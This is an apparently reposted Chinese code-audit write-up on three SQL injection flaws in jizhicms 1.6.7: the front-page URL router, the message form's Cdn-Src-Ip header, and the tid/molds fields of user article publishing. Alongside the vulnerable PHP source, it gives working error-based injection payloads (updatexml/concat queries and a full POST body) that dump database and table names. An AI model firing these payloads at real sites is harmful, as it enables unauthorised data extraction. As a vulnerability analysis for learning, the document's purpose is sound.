目錄
漏洞一:前臺首頁sql注入
漏洞二:前臺留言界面sql注入
漏洞三:用戶文章發布sql注入
漏洞說明:jizhicms是一個基于thinkphp框架開發的開源php cms,1.6.7版本的前臺頁面和用戶中心存在sql注入,漏洞產生的原因主要是因為對于前臺提交的資料過濾不足,
漏洞影響版本:
jizhicms_Beta1.6.7以下
漏洞環境:
php7.0.12
jizhicms_Beta1.6.7
把jizhicms解壓到網站根目錄,訪問install目錄下進行安裝,jizhicms目錄結構:

目錄結構說明:
install :用于存放cms的安裝目錄檔案
index.php: 前臺入口檔案
static:靜態資源檔案目錄
Home:前臺控制檔案
admin.php:后臺入口檔案
A: 后臺控制檔案
FrPHP :框架
backup :備份目錄
核心過濾函式為FrPHP\lib\目錄下的Controller.php檔案,frparam函式內部呼叫了 format_param函式對GET和POST提交的資料都進行了過濾,
// 獲取URL引數值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}
if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;
}
}
//過濾資料
return format_param($value,$int);
}
format_param函式具體實作如下
/**
引數過濾,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整數
return (int)$value;
case 1://字串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://陣列
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮點
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);
return trim($value);
}
}
format_param函式過濾方式由frparam函式的引數二指定,對字串的處理使用了addslashes函式和htmlspecialchars函式過濾,
漏洞一:前臺首頁sql注入
在前臺首頁中存在一處sql注入,訪問http://www.jizhicms.com/1' ,頁面直接回傳了資料庫的報錯資訊

從頁面給出的報錯資訊來看,sql陳述句是單引號閉合的,
找到首頁對應的HomeController定位到jizhi函式,變數$url就是我們提交的資料
//欄目
function jizhi(){
//接收前臺所有的請求
$request_url = str_replace(APP_URL,'',REQUEST_URI);
$position = strpos($request_url,'?');
$url = ($position!==FALSE) ? substr($request_url,0,$position) : $request_url;
$url = substr($url,1,strlen($url)-1);
if($url=='' || $url=='/' || $url=='index.php' || $url=='index'.File_TXT){
$this->index();exit;
}
//檢查快取
$cache_file = APP_PATH.'cache/data/'.md5(frencode($url));
$this->cache_file = $cache_file;
if(!$this->frparam('ajax')){
$this->start_cache($cache_file);
}
// news/123.html news-123.html news-list-123.html
$url = str_ireplace(File_TXT,'',$url);
//斜杠的目的是為了繞過if判斷
if(!$this->webconf['islevelurl']){
//沒有開啟URL層級
if(strpos($url,'/')!==false){
$urls = explode('/',$url);
//內容詳情頁
$html = $urls[0];
$id = (int)$urls[1];
$res = M('classtype')->find(array('htmlurl'=>$html));
}else{
//欄目頁
$this->frpage = $this->frparam('page',0,1);
//這里if不滿足條件會呼叫find執行sql
if(strpos($url,'-')!==false){
//檢測是否為分頁
$res = M('classtype')->find(array('htmlurl'=>$url));
if(!$res){
//存在分頁,取最后一個字串
$html_x = explode('-',$url);
$this->frpage = array_pop($html_x);
if(!$this->frpage){
$this->error('鏈接錯誤!');exit;
}
$html = implode('-',$html_x);//再次拼接
$res = M('classtype')->find(array('htmlurl'=>$html));
}else{
//不是分頁
}
}else{
$html = $url;
//執行sql,這一步存在sql注入
$res = M('classtype')->find(array('htmlurl'=>$html));
}
}
jizhi函式內部沒有呼叫核心過濾函式對提交的資料進行過濾,而是直接呼叫了find函式,
find函式內部呼叫了findAll函式,把資料給$where作為查詢條件
//查詢一條
public function find($where=null,$order=null,$fields=null,$limit=1) {
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}
findAll函式內部具體實作
// 查詢所有
public function findAll($conditions=null,$order=null,$fields=null,$limit=null){
$where = '';
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $value ){
$value = '\''.$value.'\'';
$join[] = "{$key} = {$value}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
if(is_array($order)){
$where .= ' ORDER BY ';
$where .= implode(',', $order);
}else{
if($order!=null)$where .= " ORDER BY ".$order;
}
if(!empty($limit))$where .= " LIMIT {$limit}";
$fields = empty($fields) ? "*" : $fields;
$table = self::$table;
//構造sql陳述句
$sql = "SELECT {$fields} FROM {$table} {$where}";
return $this->db->getArray($sql);
}
findAll函式內部直接拼接sql,getArray函式執行sql陳述句會報錯,由于頁面會將sql執行的報錯資訊回傳頁面,這里我們可以使用報錯注入的方式把當前資料庫名,表名,表欄位等資訊全部爆出來,
暴當前資料庫名:

poc:
//當前資料庫的所有表名
1' and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)%23
//當前表欄位個數,由于order by 20會報錯,而order by 19只顯示404頁面,說明當前表的欄位個數只有19個
1' order by 19%23
漏洞二:前臺留言界面sql注入
在前臺留言界面隨便輸入問題,手機號,問題描述資訊,在http欄位中添加一個Cdn-Src-Ip欄位,其內容如下所示:

直接回傳了mysql資料庫的報錯資訊,并把當前資料庫名暴出來了

分析留言功能的后臺代碼,找到home/c目錄下的MessageController,這個controller只有一個index方法
function index(){
//接收資料
if($_POST){
$w = $this->frparam();
$w = get_fields_data($w,'message',0);
//對留言中提交的內容進行過濾
$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');
if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}
//GetIP函式的功能時獲取請求客戶端的ip地址資訊
$w['ip'] = GetIP();
$w['addtime'] = time();
if(isset($_SESSION['member'])){
$w['userid'] = $_SESSION['member']['id'];
}
if($this->frparam('title',1,'','POST')==''){
//$this->error('標題不能為空!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'標題不能為空!']);
}
Error('標題不能為空!');
}
if($w['user']==''){
//$this->error('姓名不能為空!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'稱呼不能為空!']);
}
Error('稱呼不能為空!');
}
$w['title'] = $this->frparam('title',1);
//僅在存在手機號的情況進行檢測手機號是否有效-可自由設定
if($w['tel']!=''){
if(!preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/",$w['tel'])){
//$this->error('您的手機號格式不正確!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'您的手機號格式不正確!']);
}
Error('您的手機號格式不正確!');
}
}
if(!isset($_SESSION['message_time'])){
$_SESSION['message_time'] = time();
$_SESSION['message_num'] = 0;
}
if(($_SESSION['message_time']+10*60)<time()){
$_SESSION['message_num'] = 0;
}
$_SESSION['message_num']++;
if($_SESSION['message_num']>10 && ($_SESSION['message_time']+10*60)<time()){
//$this->error('您操作過于頻繁,請10分鐘后再嘗試!');
if($this->frparam('ajax')){
JsonReturn(['code'=>0,'msg'=>'您操作過于頻繁,請10分鐘后再嘗試!']);
}
Error('您操作過于頻繁,請10分鐘后再嘗試!');
}
//保存留言資訊到資料庫
$res = M('message')->add($w);
if($res){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'提交成功!我們會盡快回復您!','url'=>get_domain()]);
}
Success('提交成功!我們會盡快回復您!',get_domain());
}else{
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'提交失敗,請重試!']);
}
//$this->error('提交失敗,請重試!');
Error('提交失敗,請重試!');
}
}
分析以上代碼可知,index接收POST資料后進行了過濾,然后呼叫了GetIP函式獲取客戶端ip地址,把POST的資料和客戶端的ip地址放到陣列w中,呼叫add函式將資料保存到資料庫中,
我們來分析一下GetIP函式的實作:
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
GetIP函式內部獲取了REMOTE_ADDR,HTTP_CDN_SRC_IP,HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR的http欄位的ip地址,這4個http欄位都是可控的,但其中HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR這兩個欄位都用正則過濾了,那么只有HTTP_CDN_SRC_IP是可控的且沒有過濾,因此我們可以偽造該欄位的值(前面我們說客戶端的ip是可控的不嚴謹,嚴格來說應該是http請求頭的HTTP_CDN_SRC_IP欄位是可控,可繞過的),

漏洞三:用戶文章發布sql注入
用戶中心文章發布存在sql注入,這次我們不先講漏洞的利用,在此之前先來看一下用戶正常發布文章的流程:

在burpsuite工具抓到的http請求包中的請求訊息部分中可以看到提交的資料內容,我們接下來將根據請求訊息部分來分析文章發布功能的sql注入,
然后找到UserController中文章發布功能對應的release函式
//文章發布和修改
function release(){
$this->checklogin();
error_reporting(E_ALL^E_NOTICE);
//接收資料
if($_POST){
//過濾,由于沒有傳參,所以這里又直接回傳了data
$data = $this->frparam();
//只傳了一個引數
$w['tid'] = $this->frparam('tid');
if(!$w['tid']){
Error('請選擇分類!');
}
if(!isset($this->classtypedata[$w['tid']])){
Error('分類錯誤!');
}
$w['molds'] = $this->classtypedata[$w['tid']]['molds'];
$w = get_fields_data($data,$w['molds']);
$w['htmlurl'] = $this->classtypedata[$w['tid']]['htmlurl'];
$sql = array();
//如果tid不為空則拼接sql
if($w['tid']!=0){
$sql[] = " tids like '%,".$w['tid'].",%' ";
}
//w陣列中的molds可控
$sql[] = " molds = '".$w['molds']."' and isshow=1 ";
$sql = implode(' and ',$sql);
//執行sql,
$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');
if($fields_list){
foreach($fields_list as $v){
if($v['ismust']==1){
if($data[$v['field']]==''){
if(in_array($v['fieldtype'],array(6,10))){
if($data[$v['field'].'_urls']==''){
Error($v['fieldname'].'不能為空!');
}
}else{
Error($v['fieldname'].'不能為空!');
}
}
}
}
}
switch($w['molds']){
case 'article':
if(!$data['body']){
Error('內容不能為空!');
}
if(!$data['title']){
Error('標題不能為空!');
}
$data['body'] = $this->frparam('body',4);
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['keywords'] = $this->frparam('keywords',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['body'] = $data['body'];
$w['description'] = newstr(strip_tags($data['body']),200);
break;
case 'product':
if(!$data['body']){
Error('內容不能為空!');
}
if(!$data['title']){
Error('標題不能為空!');
}
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['litpic'] = $this->frparam('litpic',1);
$w['keywords'] = $this->frparam('keywords',1);
$w['pictures'] = $this->frparam('pictures',1);
if($this->frparam('pictures_urls',2)){
$w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
}
$data['body'] = $this->frparam('body',4);
$w['body'] = $data['body'];
if($this->frparam('description',1)){
$w['description'] = $this->frparam('description',1);
}else{
$w['description'] = newstr(strip_tags($data['body']),200);
}
break;
default:
break;
}
$w['isshow'] = 0;//修改后的文章一律為未審核
$w['member_id'] = $this->member['id'];
$w['addtime'] = time();
if($this->frparam('id')){
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
if(!$a){ Error('修改失敗,請重試!');}
Success('修改成功!',U('user/posts'));
}else{
$a = M($w['molds'])->add($w);
if(!$a){ Error('發布失敗,請重試!');}
Success('發布成功!',U('user/posts'));
}
}
$molds = $this->frparam('molds',1,'article');
$tid = $this->frparam('tid',0,0);
if($this->frparam('id')){
$this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
$molds = $this->data['molds'];
$tid = $this->data['tid'];
}else{
$this->data = false;
}
$this->molds = $molds;
$this->tid = $tid;
$this->classtypetree = get_classtype_tree();
$this->display($this->template.'/user/article-add');
}
release函式內部接收了提交的POST資料,然后呼叫了frparam核心過濾函式,由于this物件呼叫frparam函式沒有傳參,data的資料是沒有過濾的,然后呼叫了一個比較關鍵的get_fields_data函式,
get_fields_data函式內部實作:
function get_fields_data($data,$molds,$isadmin=1){
//判斷是否為后臺
if($isadmin){
$fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
}else{
//前臺需要判斷是否前臺顯示
$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
}
//過濾
foreach($fields as $v){
if(array_key_exists($v['field'],$data)){
switch($v['fieldtype']){
case 1:
case 2:
case 5:
case 7:
case 9:
case 12:
$data[$v['field']] = format_param($data[$v['field']],1);
break;
case 11:
$data[$v['field']] = strtotime(format_param($data[$v['field']],1));
break;
case 3:
$data[$v['field']] = format_param($data[$v['field']],4);
break;
case 4:
case 13:
$data[$v['field']] = format_param($data[$v['field']]);
break;
case 14:
$data[$v['field']] = format_param($data[$v['field']],3);
break;
case 8:
$r = implode(',',format_param($data[$v['field']],2));
if($r!=''){
$r = ','.$r.',';
}
$data[$v['field']] = $r;
break;
}
}else if(array_key_exists($v['field'].'_urls',$data)){
switch($v['fieldtype']){
case 6:
case 10:
$data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
break;
}
}else{
$data[$v['field']] = '';
}
}
return $data;
}
get_fields_data函式是提交的表單的欄位里的內容,如果findAll函式查詢的結果為空($fields為空)會繞過format_param函式的過濾,直接回傳$data的內容(findAll函式的結果同樣也可以通過molds來控制),默認情況下findAll函式回傳的$fields為空,
再回到release函式中,get_fields_data函式將回傳的data賦值給陣列w,這一步操作會將之前過濾之后的tid的內容做一個覆寫(繞了一圈,你又給我繞回來了,好家伙),然后拼接sql并呼叫findAll函式執行sql,同時還把molds也拼接到sql陳述句中了,也就是說,POST提交的tid和molds都存在注入:
if($w['tid']!=0){
$sql[] = " tids like '%,".$w['tid'].",%' ";
}
$sql[] = " molds = '".$w['molds']."' and isshow=1 ";
那么我們可以構造tid的值再次發起請求:

成功回傳了資料庫的報錯資訊把當前資料庫名成功爆出來了,
構造molds的poc:
id=&isshow=&molds=article' and 1=updatexml(1,concat(0x7e,(select database())),3)#&tid=2&title=biaoti&keywords=guanjianzi&litpic=&file_litpic=&description=jianjie&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3Eneirong%3C%2Fp%3E
總結:
本次sql注入漏洞總體來說并不是很難,但真正自己實踐的時候總是會碰到各種坑和問題,分析漏洞的程序中難免要借鑒大佬的思路(好吧,其實主要還是自己太菜了,代碼審計之路任重而道遠啊),最后總結一下分析的一些思路和心得吧:
- 分析該功能點是否有和資料庫互動(CRUD)定位分析資料庫操作的關鍵函式,例如查詢操作的find或者findAll函式,增加操作的add函式,洗掉操作的delete函式等等......
- 分析函式中的引數是否可控(經過了哪些處理),如果沒有過濾則分析引數是否可以構造sql陳述句,如果有過濾的函式則分析過濾規則是否可繞過
- 一定要有耐心,同時還要細心
- 學習大佬的思路,各種奇淫技巧
PS:感覺自己對thinkphp的控制器和路由機制不熟悉,需要從頭開始學習一遍了,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/287874.html
標籤:其他
